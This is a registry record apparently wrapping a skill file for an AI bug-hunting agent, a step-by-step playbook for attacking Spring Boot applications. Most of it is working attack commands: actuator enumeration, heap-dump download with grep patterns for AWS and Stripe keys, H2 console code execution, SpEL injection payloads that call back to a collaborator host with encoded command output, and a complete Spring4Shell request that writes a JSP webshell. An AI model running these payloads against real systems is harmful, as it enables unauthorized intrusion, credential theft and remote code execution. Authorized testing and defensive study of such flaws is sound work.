{"id":"hunt-springboot","name":"hunt-springboot","summary":"Hunt Spring Boot特有の脆弱性 — アクチュエータエンドポイント(ヒープダンプ、env、loggers、mappings、shutdown)、Spring Expression Language(SpEL)インジェクション→RCE、H2コンソールRCE、Jolokia JMX露出、Spring4Shel…","body":"# HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nSpring Boot Actuator `/actuator/heapdump` exposed = heap dump with all secrets in memory.\n\n**Highest-value findings:**\n- **`/actuator/heapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory\n- **`/actuator/env`** — lists all environment variables and Spring properties including secrets\n- **`/actuator/shutdown`** — POST → shuts down the application (Critical availability impact)\n- **H2 Console (`/h2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick\n- **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE\n- **Spring4Shell CVE-2022-22965** — Spring Framework < 5.3.18 + Tomcat → RCE via data binding\n\n---\n\n## Phase 1 — Fingerprint Spring Boot\n\n```bash\n# Spring Boot indicators\ncurl -sI https://$TARGET/ | grep -i \"x-application-context\\|x-content-type\"\ncurl -s \"https://$TARGET/nonexistent\" | grep -i \"Whitelabel Error Page\\|Spring Boot\\|org.springframework\"\n\n# Actuator root (may list available endpoints)\ncurl -s \"https://$TARGET/actuator\" | python3 -m json.tool 2>/dev/null\ncurl -s \"https://$TARGET/actuator/\" | python3 -m json.tool 2>/dev/null\n\n# Try common base paths\nfor base in \"\" \"/manage\" \"/management\" \"/app\"; do\n  STATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \"https://$TARGET$base/actuator\")\n  [ \"$STATUS\" = \"200\" ] && echo \"[+] Actuator at: $TARGET$base/actuator\"\ndone\n```\n\n---\n\n## Phase 2 — Actuator Endpoint Enumeration\n\n```bash\nBASE=\"https://$TARGET/actuator\"\n\n# High-impact endpoints\nENDPOINTS=(\"env\" \"heapdump\" \"threaddump\" \"mappings\" \"beans\" \"metrics\" \n           \"loggers\" \"info\" \"health\" \"configprops\" \"shutdown\" \"trace\"\n           \"httptrace\" \"auditevents\" \"sessions\" \"scheduledtasks\" \"caches\"\n           \"flyway\" \"liquibase\" \"refresh\" \"restart\")\n\nfor EP in \"${ENDPOINTS[@]}\"; do\n  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login\n  # page for many paths. Require actuator-shaped JSON (or a heapdump body)\n  # before calling it EXPOSED.\n  BODY=$(curl -s -H \"Accept: application/json\" \"$BASE/$EP\")\n  CT=$(curl -s -o /dev/null -w \"%{content_type}\" -H \"Accept: application/json\" \"$BASE/$EP\")\n  if echo \"$CT\" | grep -qi \"json\" && ! echo \"$BODY\" | grep -qi \"Whitelabel Error Page\\|<html\"; then\n    echo \"[+] EXPOSED: $BASE/$EP\"\n  fi\ndone\n\n# Get environment variables (passwords, API keys)\ncurl -s \"$BASE/env\" | python3 -m json.tool 2>/dev/null | grep -i \"password\\|secret\\|key\\|token\\|credential\" | head -20\n\n# Get all endpoint mappings (full API surface)\ncurl -s \"$BASE/mappings\" | python3 -m json.tool 2>/dev/null | grep -oP '\"pattern\":\"\\K[^\"]+' | sort\n\n# Get Spring beans (lists all registered beans, reveals internal architecture)\ncurl -s \"$BASE/beans\" | python3 -m json.tool 2>/dev/null | head -100\n```\n\n---\n\n## Phase 3 — Heap Dump Analysis\n\n```bash\n# Download heap dump (can be large — 100MB+)\ncurl -s \"$BASE/heapdump\" -o /tmp/heapdump.hprof\nls -lh /tmp/heapdump.hprof\n\n# Quick grep for secrets in heap dump (binary file — use strings)\nstrings /tmp/heapdump.hprof | grep -iE \"(password|secret|apikey|api_key|token|bearer|private_key)\" | \\\n  grep -v \"^[a-z_]\" | sort -u | head -50\n\n# More targeted extraction\nstrings /tmp/heapdump.hprof | grep -oP \"(?:password|passwd|pwd)\\s*[=:]\\s*\\S+\" | sort -u | head -20\nstrings /tmp/heapdump.hprof | grep -oP \"AKIA[A-Z0-9]{16}\" | sort -u        # AWS keys\nstrings /tmp/heapdump.hprof | grep -oP \"sk_live_[A-Za-z0-9]+\" | sort -u     # Stripe keys\nstrings /tmp/heapdump.hprof | grep -oP \"Bearer [A-Za-z0-9._-]+\" | sort -u   # Bearer tokens\n\n# Use Eclipse Memory Analyzer (MAT) for deep analysis\n# https://www.eclipse.org/mat/\n```\n\n---\n\n## Phase 4 — H2 Console RCE\n\n```bash\n# H2 console detection\ncurl -s \"https://$TARGET/h2-console\" | grep -i \"H2 Console\\|H2 Database\"\ncurl -s \"https://$TARGET/h2\" | grep -i \"H2 Console\"\ncurl -s \"https://$TARGET/console\" | grep -i \"H2\"\n\n# Default credentials: sa / (empty password)\n# JDBC URL: jdbc:h2:mem:testdb\n\n# If accessible, RCE via CREATE ALIAS:\n# SQL to execute:\n# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {\n#   Runtime rt = Runtime.getRuntime();\n#   String[] commands = {\"sh\",\"-c\",cmd};\n#   Process proc = rt.exec(commands);\n#   return new String(proc.getInputStream().readAllBytes());\n# } $$;\n# CALL EXEC('id');\n```\n\n---\n\n## Phase 5 — SpEL Injection\n\n```bash\n# Spring Expression Language injection in user-controlled fields\n# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated\n\n# Common injection points:\n# - Email template fields: \"Hello ${name}\"\n# - Custom annotation @Value(\"${user.input}\")\n# - Spring Security expressions\n# - Spring WebFlow\n\n# Basic SpEL test\ncurl -s -X POST \"https://$TARGET/api/user/name\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"#{7*7}\"}'\n# If returns 49 → SpEL injection confirmed\n\n# RCE payload — note: exec() returns a Process, not a String, so a bare\n# exec(\"id\") produces NO visible output. Confirm via an OOB curl callback\n# (the spawned curl makes the network request even though nothing is reflected):\ncurl -s -X POST \"https://$TARGET/api/user/name\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"#{T(java.lang.Runtime).getRuntime().exec(new String[]{\\\"sh\\\",\\\"-c\\\",\\\"curl COLLAB_HOST/spel-$(id|base64)\\\"})}\"}'\n\n# CVE-2022-22963 — Spring Cloud Function SpEL\ncurl -s -X POST \"https://$TARGET/functionRouter\" \\\n  -H \"spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\\\"curl COLLAB_HOST/spel-rce\\\")\" \\\n  -d \"test\"\n```\n\n---\n\n## Phase 6 — Spring4Shell (CVE-2022-22965)\n\n```bash\n# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);\n# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.\n# Requires: Java 9+, Tomcat as WAR deployment\n\n# Detection: does the app accept class.* parameters?\ncurl -s \"https://$TARGET/api/user\" \\\n  -d \"class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/\"\n# Check COLLAB for HTTP callback\n\n# Exploitation: write webshell via class loader\ncurl -s \"https://$TARGET/login\" \\\n  --data-raw \"username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=\"\n```\n\n---\n\n## Phase 7 — Jolokia JMX Exposure\n\n```bash\n# Jolokia provides HTTP access to JMX MBeans\ncurl -s \"https://$TARGET/jolokia\" | python3 -m json.tool 2>/dev/null | head -20\ncurl -s \"https://$TARGET/actuator/jolokia\" | python3 -m json.tool 2>/dev/null | head -20\n\n# List all MBeans\ncurl -s \"https://$TARGET/jolokia/list\" | python3 -m json.tool 2>/dev/null | grep -i \"type\\|operation\" | head -30\n\n# Read system properties via Jolokia (may expose credentials)\ncurl -s \"https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties\" | \\\n  python3 -m json.tool 2>/dev/null | grep -i \"password\\|secret\\|key\"\n\n# Exec MBean operations (potential RCE via MLet)\ncurl -s \"https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil\"\n```\n\n---\n\n## Chain Table\n\n| Spring Boot finding | Chain to | Impact |\n|--------------------|----------|--------|\n| `/actuator/heapdump` | Extract DB passwords, API keys from memory | Critical credential exfil |\n| `/actuator/env` | Read all env vars including secrets | High |\n| H2 console accessible | CREATE ALIAS → RCE | Critical |\n| SpEL injection | `T(Runtime).exec()` → OS command | Critical RCE |\n| Spring4Shell | Write webshell → RCE | Critical |\n| Jolokia + MLet | Remote code via MBean | Critical RCE |\n\n---\n\n## Validation\n\n✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file\n✅ Actuator/env: secrets visible in JSON response\n✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received\n✅ H2 console: SQL executed, `id` output returned\n\n**Severity:**\n- Heapdump with credentials: Critical\n- SpEL RCE: Critical\n- H2 console RCE: Critical\n- Actuator env (passwords exposed): High\n- Mappings disclosure only: Low-Medium","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-springboot","license":"MIT","category":"coding","lang":"en","tokens":2560,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[{"code":"code.eval","kind":"dangerous-code","where":"SKILL.md:107","excerpt":"exec(","message":"evaluates code at runtime","severity":"warn"}],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["www.eclipse.org"]}}